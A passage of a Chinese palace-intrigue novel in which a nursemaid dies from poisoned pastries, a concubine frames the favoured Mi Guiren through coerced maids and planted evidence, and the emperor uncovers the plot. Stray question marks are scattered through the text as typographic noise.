青书不知主子?为何突然停住,主子?与宓贵人少有?交集,如今杨贵嫔诞下公?主,宫里两个受宠的嫔妃早有?对上的一日,这时?候最好的法子?就是作壁上观,止步观望,她?相信主子?也清楚,只是不解,主子?这时?候在想?些什么。 这时?候明裳方从张贵人宫中回来,拐过宫廊,抬眼瞧见?姜嫔正站在自己宫门前望着出?神,明裳顿了下脚步,狐疑地?瞧了辛柳一眼,辛柳也不明所?以地?摇了摇头。 姜嫔自从升了嫔位,较从前话少了许多,倒像了一宫主位。 那厢主仆二人也看到明裳,姜嫔微微一笑,明裳屈膝做下一礼。 “本宫是在想?贸然进永和宫是否唐突了宓妹妹,不想?宓妹妹竟才从外面回殿,正是赶巧了。” 明裳不明姜嫔的来意?,六宫中,姜嫔虽不得圣宠,却全然不同面上表现出?的默默无闻,明裳从见?到姜嫔的第一眼,就知这人不能相交,故而始终敬而远之。 “不知姜嫔娘娘寻嫔妾何事?” 姜嫔不过从乾坤宫出?来,经过永和宫这条宫道,说起来并无要紧事。上元宴得第二日宓才人就册封了贵人,短短一年内,母家没有?功绩,又?是寒门出?身,尚未有?皇嗣就到了从三品的位份,这位宓贵人也是让皇上破例颇多。 相比起来,仪仗着母家从龙之功的杨贵嫔,在宓贵人这儿反倒不值一提。倘若没有?一个世家大族的身份,杨贵嫔焉能做到今日的位子?,还敢不把皇后放在眼里。 晌午日头高悬,暖和的日光拂过廊檐碧色的琉璃砖瓦,女子?大抵是畏寒,裹着厚实的白狐裘,兜帽罩住了小半张脸,明眸雪面,素霞粲然,招眼喜人得紧。 姜嫔眸色黯然些许,她?浮唇道:“许久未与宓妹妹说些体?己话,不免生疏了。” 说些体?己话?她?与姜嫔原本很熟吗? 她?正欲说话拒了姜嫔,这时?间,远处一个穿着青色宫装的粗使宫女匆匆跑过来,那宫女跑得慌乱,鬓边的簪花甩到地?上,隔几步将要到永和宫前,脚下绊到裙摆,趔趄着跌了一跤,手?心被地?上的碎石子?磨破,她?挣扎着起来,一把鼻涕一把泪,终于跑到了明裳跟前,抖着身子?扑通跪下来,惊惧不定地?哭求道:“求宓贵人救救奴婢!” …… 徐答应发白着脸色跪在地?上,豆大的汗水从额头滚落,她?虽自信与此事毫无干系,她?怎会有?那个胆子?去加害景和公?主,何况,害了景和公?主于她?有?何益处,她?不断安抚自己,本就不相干的事,不必惊慌,可从皇上进到内殿的那一刻,她?一颗心还是悬了起来,惊惶不定。纵使与她?无关系,终归是她?将有?毒的糕点送来的承明宫。 她?僵着身子?,跪身福礼。 李怀修冷冷扫去一眼,泛着寒意?的目光直叫徐答应脊背发凉,汗毛直竖。 后面跟着的全福海觑到皇上的眼神,不禁瞟了眼跪地?的徐答应,没敢吱声,不知今日是怎么回事,后宫皇嗣不多,景和公?主是皇上第二个女儿,皇上自然心疼着,幸而出?事的不是小公?主,不然这事不论与徐答应有?没有?关系,皇上怕是都不会手?下留情。 李怀修跨入内殿,耳边听?清稚子?呜咽的哭泣声,声音渐消,已是被哄住了。 床榻里,杨贵嫔抱着女儿,低声哄着,白嫩的小团子?尚没知事的意?识,吃了奶水便有?些发困,很快就睡去了。 见?女儿昏睡,杨贵嫔才彻底松口气,她?疲累地?把公?主交给另一个乳母,瘫坐到床榻里,脊背后知后觉发出?凉意?。 李怀修进殿,并未让宫人通禀,他掀眼,看清床榻里面无血色,疲惫不堪的女子?,抬手?打断了宫人要通传的话声。 乳母很有?眼色抱着景和公?主到李怀修面前,小公?主虽不足月份下生,因精细养了一段日子?,已是长?得极好,脸蛋浑圆红润,正甜香地?睡着,有?了母亲的哄声很快淡忘方才吵闹的阴影。李怀修注视着女儿良久,便抬手?让乳母将公?主抱去暖阁。乳母得了吩咐屈身退下。 这时?,杨贵嫔才察觉出?异样,骤然地?向外看去,待看清了进殿的人,似是藏了满肚子?委屈迸发出?来,眼圈通红,她?未过月子?,却挣扎着要下地?福礼,开口都带了惊魂未定的颤音,“嫔妾请皇上安。” 她?似是受了极大的惊吓,哭道:“皇上,有?人要害嫔妾,有?人要害皇上和嫔妾的孩子?!” 杨贵嫔十分的惊惶中有?七分并未作假,她?怎会知晓,徐答应竟敢给她?送有?毒的糕点,倘若吃下糕点的人不是乳母,而是她?,那方才吐血暴毙的人就是她?。她?知晓徐答应不会这般蠢笨,倒底是谁要害她?,是谁见?不得她?好过。那一瞬间,杨贵嫔从脑海中搜寻着宫中要害她?的每一个人,最让她?怀疑的,只有?永和宫那个女子?。宓贵人最为受宠,却也侍寝至今,还未怀上身孕。杨贵嫔不得不怀疑,宓贵人这是要借徐答应之手?,除掉自己。 从目前的情状来看,她?倒是希望,是宓贵人干的这件蠢事,宓贵人再受宠,也比不过皇嗣在皇上心中的地?位。 杨贵嫔敛下心绪,眼眶簌簌坠出?泪水,惊魂未定的神态何曾有?曾经清高孤傲的模样,她?身子?还未养好,这番动作吃力发疼,愈发让她?看起来脆弱不堪。 李怀修眼底沉色,寒冷如冰,只叫人胆寒惊惧,“此事,朕会查明,绝不姑息。” 杨贵嫔虚弱地?站起身子?,泪水涟涟,“都是嫔妾大意?,险些失去景和,皇上定要为嫔妾做主……” 珠帘轻撞两声,太医终于赶到了承明宫,杨贵嫔背身擦过眼泪,由宫人扶着回身歇去床榻。她?产后心绪郁结,身子?恢复得并不好,这番动作,已费尽了力气,面色愈发惨白。 乳母暴毙后,已由宫人抬出?承明宫,交由仵作验尸。太医看诊过景和公?主,确认只是受了惊吓,并无大碍,才来复命。 宫人取来乳母吃剩的糕点,交由太医检查。 杨贵嫔虚弱地?叙述道:“嫔妾久居内殿,了无趣味,幸而有?徐答应时?常看望嫔妾,陪着嫔妾说话,徐答应不止一回送过糕点。昨夜景和啼哭不止,这乳母得力,嫔妾便将徐答应送来的糕点赏了,不料那乳母只吃下一块,当场便吐血身亡,惊到了景和,嫔妾心中慌乱,涉及景和,嫔妾拼了命生下的孩子?,不敢大意?,便立即吩咐人去乾坤宫请皇上过来。” 徐答应为何时?常进出?承明宫,李怀修心知肚明,念在她?艰难产子?,他便对此睁一只眼闭一只眼,不予说破,没有?徐答应送到他面前,后宫也会有?旁人。杨贵嫔针对的是谁,李怀修不言明,不代表心中没有?计较。倘若不是她?要动这些心思,安安分分地?养好景和,也不会再出?风波。说到底,也是她?自己不知轻重。 念此,李怀修推了下扳指,脸色渐渐冷淡下来,方才的生出?的怜意?也消去了三分。 太医检查过剩下的糕点,用银针试了毒,面色陡然大变,擦了把冷汗,忙躬身禀道:“回皇上,这糕点中掺了大量佛手?莲的汁液,佛手?莲乃剧毒之物,过量误食后,便会口唇麻木,药石无医,窒息而亡。” 第057章 第 57 章 徐答应听到这儿, 身子已经吓得?摇摇欲坠,不幸中?的万幸,吃下这糕点的人不是杨贵嫔, 也不是景和公主, 而是一个无人在意的乳母。在无上的权利面前?,人命就是如此可悲, 便是身为宫中?嫔妃,曾经侍寝多回的徐答应,在帝王眼中?, 也不过是一个可有?可无的奴才。 她极力稳住身子,不断安抚自己,今日之事本与她无关,有?什么心虚的,是有?人要?借她之手, 栽赃嫁祸, 皇上重视小公主, 怎会查不出背后之人,该心虚的是那人才对。 “皇上,嫔妾冤枉!”徐答应伏低了身子, 无辜地哭出泪音, “嫔妾与杨姐姐交好?,定是有?人嫉妒杨姐姐诞下小公主,深受皇上喜爱,才借嫔妾之手,往这糕点里下毒!” “那人其心可诛, 竟用这一箭双雕之计,还要?嫔妾担下这无妄之祸, 实在可恶啊!” 看诊的太医默不作声地退开一步,恭敬地垂首,仿若木头桩子似的站在一旁。他在太医院当值多年,深谙为官之道,什么该听,什么不该听,有?那个分寸。 杨贵嫔捻了捻帕子,眸色微闪,她轻声道:“皇上,嫔妾也觉出此事蹊跷,徐答应谨慎妥帖,不会犯出宫规,为自己招来大祸,怕是有?人嫉恨嫔妾,要?借她之手除掉嫔妾。” 终于等到杨贵嫔为自己说话?,徐答应悬着的心才敢撂下一半,又忍不住暗暗憋闷,杨贵嫔这是什么意思,既然并不疑心于她,为何早不为自己说话?,偏生要?把自己逼得?情急,才肯站出来。 她不管杨贵嫔如何做想?,眼下赶紧洗清掉自己的嫌疑才是最紧要?的,她抹泪哭诉道:“可怜景和公主还那么小,还有?人敢动心思,竟然还栽赃嫁祸于嫔妾,景和公主可爱乖巧,嫔妾喜爱得?紧,日日看着都看不够,怎有?动手加害之心。这糕点是嫔妾亲自从御膳房取来的,定是御膳房有?人趁嫔妾不注意动的手脚,求皇上查明那背后之人,还嫔妾一个公道……” 李怀修负着手,淡淡盯了眼跪着的徐答应,眼底看不出情绪,却叫徐答应心惊地跳了一跳,倏忽噤声,只垂低着脑袋,拿巾帕抹去眼角几近于无的泪水。 却是她忘了,皇上怎会看不清,她日日到承明宫存着什么样的心思。 李怀修移开眼,面无表情地吩咐:“立即去查,但凡经手过栗子糕的人,一个不落地带到承明宫,朕要?亲自审问。” 虽不见皇上动怒,却是足足让全福海不禁打了个冷颤,他跟随皇上多年,自然知晓,那些主子们之间的明争暗斗,也正因这些纷争,才惹得?后宅不宁,皇上不知因此失去了多少子嗣,这厢皇上也是要?借此敲打暗中?藏着的那些心思,谁敢把主意打到皇嗣身上,是不要?命了。 全福海不敢耽搁,立即领命带着徐答应身边的人去了御膳房。 承明宫闹得?动静大,六宫得?信,不知是为了自证清白还是为了见到圣驾,或许二者兼有?,纷纷做担忧之状去了承明宫看望杨贵嫔。 皇后午时觉得?头晕乏力,身子不适,听闻承明宫出事,太阳穴愈发作疼,她压住额角,眼底透出不耐的恼怒,“这才消停几日,又折腾出了事端!” 她顿了顿,语气平静地问道:“可有?人传话?到坤宁宫?” 事发到现在,已过了一个时辰,承明宫的路就是再远,也该有?宫人到坤宁宫通禀一声,偏偏承明宫那边没半点动静。 杨贵嫔诞下景和公主之前?,就不曾见对娘娘有?几分尊敬,诞下景和公主之后,看似安于一隅,实则愈发不将娘娘放在眼里。 文?竹如实回道:“景和公主乳母暴毙后,承明宫立即有?宫人去了御前?,后赶去承明宫的嫔妃也都是听了传闻中?的消息。” 自始至终,杨贵嫔都只去寻了皇上主持公道,她是忘了,皇上忙于前?朝政务,平日管着六宫内务的,还是皇后娘娘。 皇后脸色冷淡,“又是一个拎不清的。” 她身为六宫之主,并不能计较这些小事,但这番作态,那位就没看在眼里?虽生了皇嗣,也不曾想?想?这后宫中?,可是有?的是没有?孩子的母亲。 皇后阖眼,忍着头疼道:“你替本宫跑一趟承明宫,说本宫身子不适,不便过去,请皇上恕罪。” 六宫赶去承明宫的嫔妃,也是站了有?一会儿,后知后觉,后宫发生这么大的事儿,皇后娘娘竟然不在。有?人早就得?到消息,并非是皇后娘娘有?意不来,而是杨贵嫔压根没遣人去坤宁宫传话?。皇后娘娘执掌凤印,仍在主持六宫,杨贵嫔是有?多不将皇后娘娘放在眼里,居然只请了皇上过来,而不请皇后娘娘。 杨贵嫔尚未察觉外殿嫔妃的窃窃议论,她未通禀皇后,也是习惯了遇事先?请皇上做主,并不觉得自己所做有什么不妥,皇后是六宫之主,谁叫皇后无子,待她再有?孕诞下皇子,也并非不能与皇后抗衡。杨贵嫔素来骄傲,更?不愿屈居人下。 没人知晓杨贵嫔心中所想?,文?竹进殿待皇后请罪,众人方?才傻眼,皇后娘娘这是什么意思,怎会偏生赶在这个时候突发头疾?但皇上对此都没说什么,也轮不到她们置喙。 …… 此时永和宫外宫道上,姜嫔颇有看好戏般的意味,一言不发地站在一旁,事不关己。 那跑来的小宫女不停地磕着头,一把鼻涕一把泪,“奴婢都按照宓贵人的交代做了,宓贵人说只给?徐答应一个教训,奴婢没想?到会牵涉到杨贵嫔啊!眼下皇上已经去了承明宫,奴婢活罪难逃,求求宓贵人一定要救救奴婢!” 明裳攥着帕子,冷眼听完这不知打哪跑来的宫女哭诉,“我从未见过你,也从未指使你做过任何事,我倒是想?要?知道是谁要?你跑来说这些话?,栽赃给?我。” 她语气咬得?重,生生将那宫女吓得?愣住了神,她瑟缩了下身子,难以置信般,“贵人指使奴婢做的事,贵人都忘了吗?贵人寻到奴婢时,分明承诺此事贵人一人揽下,与奴婢无关,贵人怎在这时忽然就将责任都推给?奴婢了!倘若如此,奴婢就到皇上面前?陈明实情,皇上处死了奴婢,奴婢也会咬着贵人不放,不让贵人好?过,奴婢做鬼也不会放了贵人!” “大胆!”辛柳反手掌了那宫女一嘴,冷眉斥道,“贵人从不认识你,更?遑论指使,凭你是谁,信口雌黄,也敢污蔑贵人!” 那宫人眼底划过一抹阴霾,转瞬即逝,很快换上一副凄苦的惨状,余光望到站着看热闹的姜嫔,哭着爬到姜嫔鞋边,不停叩头,“求姜嫔娘娘救救奴婢吧,都是宓贵人指使奴婢做的,奴婢从未想?过要?害杨贵嫔和景和公主!” 姜嫔不必询问,在宫里这些年,也猜到些许的经过,她不着痕迹地扫了宓贵人一眼,宓贵人并不会这么蠢笨,用这种明目张胆的手段,而且这宫女偏生挑在她在场的时候跑出来,也极为可疑。姜嫔与宓贵人并非交好?,宓贵人深受圣宠,追究起来,后宫里没了宓贵人,于姜嫔也有?些好?处,只是少了些热闹。 姜嫔并不关心这小宫女的生死,她似蹙了蹙眉,面露担忧,转身对明裳道:“不论与宓贵人有?无干系,承明宫出了事,既然皇上已经过去,你我二人理当过去看看。”她微顿,又补了一句,“也好?还了宓贵人清白。” 姜嫔怎会关心宓贵人是否清白,这宫人既然求到她,她也不介意推波助澜,看看究竟到底是谁在故弄玄虚。 这时,全福海带着人匆匆忙忙地赶过来,打眼一瞧当下的情景,神色愣了下,没等他说话?,徐答应身边跟随的宫女抢先?开口,“全公公,正是这个名叫秀儿的宫女给?奴婢取的栗子糕!” 全福海擦了擦额头的汗水,没搭理这个聒噪的宫女,先?对两?位主子做了礼,解释道:“奴才奉皇上之命,查栗子糕一事。” “全公公,奴婢是冤枉的!”不等全福海将人带走,那宫女猛地后退,爬到明裳身边,死死抓着她的裙裾,“宓贵人救救奴婢啊,奴婢都是听了宓贵人的话?,奴婢从未想?过要?害杨贵嫔!” 这番情形,彻底让全福海看傻了眼,下毒之人,竟是宓贵人? 徐答应身边的宫女一副恍然大悟的神情,见全福海只呆呆地看着,主动站出身,“原是宓贵人算计答应主子,险些害了杨贵嫔和景和公主,眼下皇上正在承明宫,既然此事与宓贵人有?关,请宓贵人一同去承明宫一趟,也好?还了答应主子清白!” 明裳睇着死拽她裙裾的秀儿,慢慢抬眼,目光掠过姜嫔和徐答应身边的宫女,最后停到全福海身上,才稍许和缓,她温声,“兹事体?大,我不愿让公公为难,既是如此,便由公公押着这宫女,去一趟承明宫。” 听听宓贵人说的话?,有?多叫人如沐春风,全福海心里顿时舒坦了,天知道他这一路跑去御膳房,耳边听着徐答应身边这跟没眼色的宫女聒噪,烦得?险些要?让人把她的嘴堵上。 全福海躬低了腰,“奴才便得?罪了。” 跪在地上的秀儿哭得?涕泗横流,不知是真的害怕,还是装出来的,明裳垂下眼帘,嘴边浮出轻笑,一字一句却震慑着人的心口,“秀儿,我与你素不相?识,无冤无仇,你既听了你主子的话?,往我身上泼脏水,就想?好?了后果,不论你是否参与投毒一事,待事情了结,日后你都别想?在这宫里待下去。” 秀儿脖颈抖了抖,抓着明裳裙裾的手渐渐脱力,似是被吓到般,可怕地望着面前?的女子,猛地跌坐到地上。 这番话?,全福海事不关己地垂着脑袋,全当聋了耳,没听见。先?不说他是否相?信宓贵人下了毒,便是皇上对宓贵人的宠爱,他就得?上心伺候着,威胁一个将要?赐死的奴才,又算的了什么。 姜嫔漫不经心地敛下眼皮,这番好?戏,倒是让她对宓贵人刮目相?看。 离开时,明裳不着痕迹地回头,朝丽景轩深深看了一眼,眸底沉思,心口莫名涌上一股怪异之感。 待永和宫外清净,柳常在才现身,不屑地望着已经没了人的宫道,轻描淡写地唤来彩芸:“徐答应蠢钝不堪,迟早靠不住,皇上也不会轻易就疑心了宓贵人,未免这盆脏水泼过来,我还要?你说几句话?。” “你家中?人可都在柳府,知道该怎么说么?” 彩芸心慌不已,她也不知事情怎么变成?了这样,柳常在这回竟聪明了许多,不全然听了她的话?,还要?她反咬宓贵人一口。柳常在虽未猜出她与宓贵人私下有?过联系,大抵也生了疑心,不会再全然信她。 她犹疑再三,双眼猛地闭上,“是宓贵人指使的奴婢。” 柳常在满意地抚了抚鬓角,不忘对彩芸安抚几句,“事成?之后,我不仅会保你性命,还会给?你一百两?赏银送你出宫。” 她微微一顿,眉眼骤然转冷,咬牙恨极,“这回,我要?宓贵人再不能翻身!” …… 全福海将秀儿带回了承明宫,站着的嫔妾见姜嫔与宓贵人一同过来,微微诧异。 “皇上,这宫女已经不打自招,正是她往徐答应取的糕点里下了毒物佛手莲。” 听到这么快就查明了下毒之人,徐答应吊着的心脏终于落了地,她打起精神,愤愤地睨向跪着的秀儿,厉目喝道:“大胆贱婢,究竟是谁指使的你谋害杨贵嫔和景和公主!” 秀儿面无血色,嘴唇抖得?厉害,她害怕得?砰砰磕头,“皇上饶命!皇上饶命!借奴婢十个胆子,奴婢也不敢谋害公 主,奴婢从未想?过害人啊……”她泪眼模糊地爬起来,抬头四?处张望,视线定到明裳身上,伸手过去,哆嗦着指认,“都是宓贵人叫奴婢这么做的,宓贵人说只是坏身子的药,给?杨贵嫔一个教训,奴婢也没想?到竟是剧毒之物!” “皇上饶命,求求皇上饶了奴婢吧!” 早已听过这番说辞的全福海,脸上不见讶异,内殿过来看望杨贵嫔的宫嫔们却都倏然一惊,倒吸了一口凉气,宓贵人好?大的胆子,竟敢堂而皇之地给?后宫嫔妃下毒! 李怀修眯起眸子,睨了眼哆嗦指正的宫女,不知是信了还是没信。 “只这一人之词?” 全福海脖颈一凉,压根不敢抬头去看皇上的脸色,忐忑不安地回话?,“徐主子去的时候,只秀儿一人当差,全不叫人去碰,都是亲自送到徐主子面前?。昨日做膳的厨子忽发风寒,病重起不得?身,已出宫了,这宫女可疑,奴才才先?将她一人押过来。” 他觑着皇上的脸色,轻轻舒了口气,后知后觉意识到,皇上问出这句,并非是要?他的解释,而是皇上信任宓贵人,并不相?信秀儿的指正。 姜嫔也看出皇上的意思,不论倒底是谁出的手,已经先?输了一局。 秀儿没听出话?里的意思,以为皇上是不相?信自己,她眼神乱飘,忽然定住神,胡乱翻找着衣袖,从里拿出一枚金簪,双手捧过头顶,急声,“皇上,这是宓贵人给?奴婢的赏赐,宓贵人说待事一成?,少不了奴婢的好?处,奴婢所言句句属实,不敢冤枉了贵人主子!” 那枚金簪成?色上好?,上面还嵌着一颗蓝玉珠石,不过这种首饰寻常可见,锻造处一日不知能打出多少,倘若秀儿说的是实话?,宓贵人也是够聪明,赏赐这种每宫都常见的首饰,谁又能认得?出来。 姜嫔微不可查地觑了眼皇上的脸色,倏忽嗤笑一声,“一支破簪子,放眼六宫,这成?色谁宫里没有?,也能拿出来当作证据?” 谁也没料想?到,姜嫔会为宓贵人说话?。明裳脸上也露出一分惊讶,看姜嫔朝她微微一笑,颇有?示好?意味,明裳柳眉微扬,摸不清姜嫔又是什么意思。 姜嫔并非是为宓贵人说话?,秀儿支支吾吾,一番言论指使宓贵人,却拿不出证据,可见所言不实,皇上态度明显又偏向宓贵人,她此时自然要?给?皇上留个好?印象。 “这金簪自然是宓贵人亲手给?奴婢的!”秀儿着急争辩。 明裳抓到秀儿话?里的漏洞,适时上前?,她敛下眸,屈身福了礼,“皇上,可否容许嫔妾问秀儿几句。” 李怀修点头应允。 殿内人得?目光都看向明裳,秀儿咽了咽唾,畏惧地瞟了明裳一眼,她强撑着道:“皆是宓贵人指使奴婢,宓贵人还要?问奴婢什么?” 明裳脸色不变,“你口口声声说是受我指使,这支金簪是我亲手赏的你,那你便实言交代。” “我何时与你有?的联系,又何时赏赐你的金簪,见你那日是什么时辰,穿的什么衣裳,戴的什么耳铛,指甲用什么涂染得?丹蔻,身边又带了几个宫人呢?” 连声的发问让秀儿猝不及防,她脸上血色褪得?一干二净,眼底闪过一抹心虚,攥了攥手心,支支吾吾地说道:“主子第一次寻到奴婢,是在……是在三日前?,碰巧奴婢当值,主子便恩威并施,给?了奴婢一个瓷瓶,要?奴婢往糕点中?掺杂里面的东西。奴婢要?是不做,主子就要?给?奴婢叩个莫须有?的罪名,押奴婢进慎刑司,奴婢实在害怕。” “那日……那日贵人穿的是……是藕荷色的衣裳,身边跟着……跟着贵人的大宫女月香,至于贵人的发饰耳铛,奴婢当时心慌不已,实在害怕,不敢违背贵人,并不记得?了。” 明裳耐心地听完,扬眉又问,“你确定了是三日前?见的我?” “奴婢……”秀儿脊背湿透,女子的那双粲然的眸子仿佛看穿了她的心机,秀儿慌不择乱,脸色乍青乍白,心一横,笃定道:“奴婢记得?清楚,是在三日前?,贵人身边的月香到御膳房亲自要?了栗子糕,趁机把奴婢带去见了贵人。” 秀儿记得?清楚,彩芸与她说,那日有?人曾在御膳房见到宓贵人,她没记错,宓贵人既去了御膳房,就必然脱不开干系! 辛柳微逼喝道:“大胆奴才,在圣前?竟也不如实交代!” “奴婢不敢欺瞒皇上,那日宓贵人确实去了御膳房!” 明裳展颜一笑,也不理会秀儿,红唇瘪着,委屈巴巴地看向男人,“那日嫔妾是去了御膳房不假,可皇上也知道,是皇上亲自赏的嫔妾桃花糕,全公公与嫔妾一块儿去的,全公公得?皇上旨意,又亲自送的嫔妾回了顺湘苑,嫔妾哪有?什么空闲去见御膳房的杂事宫女。” 全福海极有?眼色,忙去添话?,“奴才那日确实亲自送宓贵人回的顺湘苑,期间并没看见这个名唤秀儿的姑娘。” 众人敏锐地抓住宓贵人话?中?的字眼儿,皇上亲自赏的宓贵人桃花糕?这时节,哪来的桃花? 姜嫔知道的自是比旁人多,只是她也没想?到,皇上竟会赏了宓贵人内务府千辛万苦育出的凛冬桃花,她似有?艳羡,“嫔妾听闻内务府花棚今岁只养活了一株桃树,皇上竟也舍得?给?宓妹妹填了肚子,宓妹妹可真是好?福气。” 明裳含羞带怯地向上位望去,瞧着那女子装模作样,李怀修就觉太阳穴突突直跳,也没给?好?脸色,睨着地上无半句实话?的宫女,仿佛在看一个死人。 “朕最后给?你一个机会,再有?虚言,拖下去,杖毙。” 秀儿脊背陡然僵直,惊恐万状,她瞳孔紧缩,浑身抖成?了筛子,“皇上饶命!确实不是宓贵人指使的奴婢,指使奴婢之人是……是……” 她猛一咬牙,“是柳常在身边的彩芸!” …… 柳常在进殿的时候,由彩芸扶着半个身子,面色苍白,时而猛咳两?声,看似极为虚弱。 她挣扎着地福了礼,嗓音干涩嘶哑,“嫔妾听闻景和公主险些出事,早该来承明宫看望,因昨夜染了风寒,有?心无力,请皇上恕罪。” 柳常在的病看起来极其严重,并不像做伪。 在场的人面面相?觑,不明白这又是怎么回事。秀儿却不管柳常在病得?多重,哭爬到柳常在面前?,“常在主子救救奴婢,奴婢都是听了彩芸姐姐的话?,常在主子不能不管奴婢啊!” 柳常在微怔,一脸茫然地看着面前?哭哭啼啼的小宫女,疑惑不解,“与我何关?我为何要?救你?” 她侧头看向彩芸,“这是什么回事?” 无人可见,柳常在侧头时,悄无声息地递了彩芸一个眼色。 主子竟让她这么快动手,彩芸浑身一震,她呼吸轻滞,额头猛然叩到地上,“事已败露,主子还是认罪吧!” 柳常在面色大变,没人扶着,身形仿似更?加羸弱,她捂着帕子猛咳,看着彩芸的目光难以置信,“什么事情败露?彩芸,我待你不薄,你为何要?这么说!” “正因主子待奴婢不薄,奴婢才能让主子一错再错了!”彩芸苦苦哀求,“主子照实说,自行认了错,皇上或许还能网开一面。” 她流着泪,哭道:“常在主子只是一时蒙住了心神,求皇上念在主子是初犯,网开一面吧,奴婢作证,主子只是想?给?徐答应一个教训,从未想?过要?害杨贵嫔和景和公主啊!” 柳常在眼眸瞪大,拖着病体?直起身子,反手甩了彩芸一巴掌,彩芸脸上火辣一疼,身子蓦地栽歪,被打得?愣住了神,“主……主子……” “我从未苛待过你,你……咳咳……”柳常在捂着胸口瘫坐到地上,“你为何……” 柳常在病弱得?难以说完整一句话?。 这时,不知谁忽然发现了怪异,“彩芸衣袖里掉出的帕子怎有?几分眼熟?” 彩芸似有?心虚,忙把帕子收入怀中?,眼神乱飘,“是奴婢姐姐绣的帕子。” 那嫔妃喃声,“嫔妾倒是觉得?绣样与宓贵人的帕子有?几分相?似。” 闻言,无人可见,柳常在眼眸低下来,咳嗽之时,眸色闪过一抹得?色。 不先?指使彩芸嫁祸自己,怎能让人察觉宓贵人的恶毒。 而在那嫔妃狐疑地说完那句话?后,彩芸眼光极快地扫向明裳那处,毫不遮掩地被人看出眼下心虚。 今日这出戏,可都是把栽赃嫁祸玩弄得?娴熟,真相?扑朔迷离,众人一时当真分不清,倒底是谁往徐答应的栗子糕里下了佛手莲。 明裳微抿起唇,眼底的神色倏忽冷了下来,她还是看低了柳常在。不过,柳常在自己犯下的事,也休想?轻易扣到她头上。 她没有?辩解,静静地等着,柳常在还有?什么对付她的手段,做的越多,错的越多,仅凭下毒险些害了景和公主,今日她就别想?翻身。任何人都不能把心思打到皇嗣身上 彩芸神色惊慌,众目睽睽之下,显然心虚至极,不敢再去看宓贵人。她亦是害怕到了极点,心头渐渐涌上一股恐慌,倘若今日扳倒了宓贵人,主子真的还会留着她吗? 殿内气氛凝滞,姜嫔看看病得?弱柳扶风的柳常在,又看看惊惶不定的彩芸,噗嗤笑出声,打破殿内的平静,“皇上,嫔妾斗胆猜猜,这张与宓贵人相?似的帕子掉出来,那彩芸接下来莫不是又哭着让宓贵人坦白从宽了。” “嫔妾想?,这些奴才怕是将宫规都忘了,才一个一个地敢冤枉主子,往主子身上泼脏水。今儿结束了这事,不论这彩芸和秀儿是有?心还是无意,都该重重责罚,最好?打发去了慎刑司,拔了舌头,也给?六宫一个警示,看看栽赃嫁祸,胡言乱语陷害主子都是什么下场!” 跪在地上的秀儿和彩芸竟觉嘴中?一空,心头浮上浓浓的恐惧,柳常在也不禁烦躁地扫了姜嫔一眼,姜嫔这是要?做什么,她什么时候也偏帮于宓贵人了! 眼见彩芸那蠢货慌不择乱,柳常在担心她不慎供出自己,掐紧了手心,直看向明裳,字字悲泣,“嫔妾与宓贵人是有?些不快,宓贵人也不至于用这种恶毒的手段陷害我。宓贵人算计我就罢了,竟也不顾杨贵嫔和景和公主吗?” 她带着哭腔道:“皇上,嫔妾不知,宓贵人究竟存了什么心思。杨贵嫔有?孕的时候,嫔妾就曾偶然听见宓贵人咒骂杨贵嫔,嫔妾当时害怕极了,从未想?过,宓贵人竟真的会害杨贵嫔。” 柳常在一把鼻涕一把泪,说得?跟真的似的。 不过杨贵嫔与宓贵人同受圣宠,六宫也确实听说了不少两?人争宠的风声。 明裳以为柳常在还有?什么手段,也不过如此。她淡淡低眸,走到彩芸身侧,轻伏身,彩芸不防备,那张娟帕被明裳轻而易举地拿到了手里。 帕子意外掉下来被半遮半掩地揭过去,柳常在不揪着这一茬不放,可见就是为了引起猜疑而用,毕竟彩芸口中?,可从未承认过这是她的帕子,全靠多舌人的揣测。 明裳拿走帕子时,彩芸脸上显而易见地紧张,明裳微微一笑,待检查过那张帕子,眼眸眯了眯,抬面柔声,“皇上,这张帕子并非嫔妾之物。” “皇上知晓,嫔妾不精于女红,贴身用的帕子都是辛柳绣给?的嫔妾,嫔妾惯用春桃,这张帕子虽也绣的是春桃,但做工走线极为粗糙,显然是临时为了嫁祸嫔妾,连夜赶制出的成?品。” 全福海会意,捧着帕子呈到皇上面前?,李怀修沉着脸,骤然将帕子扔到柳常在面前?,“拖下去,押入慎刑司,严刑审问!” 柳常在大惊,她没想?到,皇上竟会这么不相?信她,她眼眸惊恐,“与嫔妾无关,都是宓贵人做的啊,皇上为何不相?信嫔妾!” 她不知,皇上为何都不愿意再多审问一句,她甚至以防万一,还准备了佛手莲。 佛手莲…… 柳常在抹掉脸上的泪水,“佛手莲剧毒之物,非宫中?常有?,皇上不如搜查六宫,也好?还了嫔妾清白。” 这时,明裳余光瞥见匆匆进来的月香,没再给?柳常在说下去的机会,她冷冷一笑,“柳常在大抵也准备好?了,早已吩咐人将佛手莲放去了顺湘苑,可惜,百密固有?一疏。” 月香进殿福了礼,辛小五押着一个面生得?宫女随后入了殿,“皇上,奴婢在顺湘苑东厢外发现有?人鬼鬼祟祟,往墙角埋这个陶罐。” 太医上前?,拿银针查验过,面色微变,躬身道:“皇上,陶罐中?正是一株未长成?的佛手莲。” 被押进来的宫女哭着叩地,证据确凿,柳常在见大势已去,再无法?抵赖,瘫坐到地上,眼泪不停地从眼眶往下落。 她咬紧唇,泪眼婆娑地抬头,“皇上相?信嫔妾,嫔妾只是做错了事,从未想?过要?害景和公主,” 她哽咽着,继续哭道:“皇上不能处置嫔妾,皇上忘记姐姐当年是怎么出事的吗?姐姐身子重,却还要?坚持为皇上出征祈福,若非如此,也不至于断了性命。姐姐离世前?,还惦记着皇上的孩子,姐姐那么好?,做的事都是为了皇上啊!” 六宫没有?人不知晓柳常在是怎么进的宫,入潜邸早的嫔妃,知悉几分当年之事,但新人听了柳常在的一番哭诉,不禁诧异,柳常在入宫能得?皇上宠幸的缘由竟这般令人唏嘘。 李怀修面色越来越淡,望着地上口口声声拿自己嫡亲姐姐做靶子的女子,眼底终于生出厌烦。 “柳侧妃娴静柔善,你怎堪与她相?比,亦不配做她姊妹。” 柳常在脑中?轰的一声,如遭雷劈般僵住了身子,本还抱有?一丝期望,想?让皇上念及姐姐的情分宽恕自己,可她却是错了,上位者最厌恶的就是受人威胁。 柳常在终于意识到恐慌,她嘴唇翕动,涕泗横流地哭求,“皇上,嫔妾知错,皇上饶过嫔妾这一回吧,皇上……” 李怀修眼底冷如冰凌,没有?一丝动容之色,“带下去。” 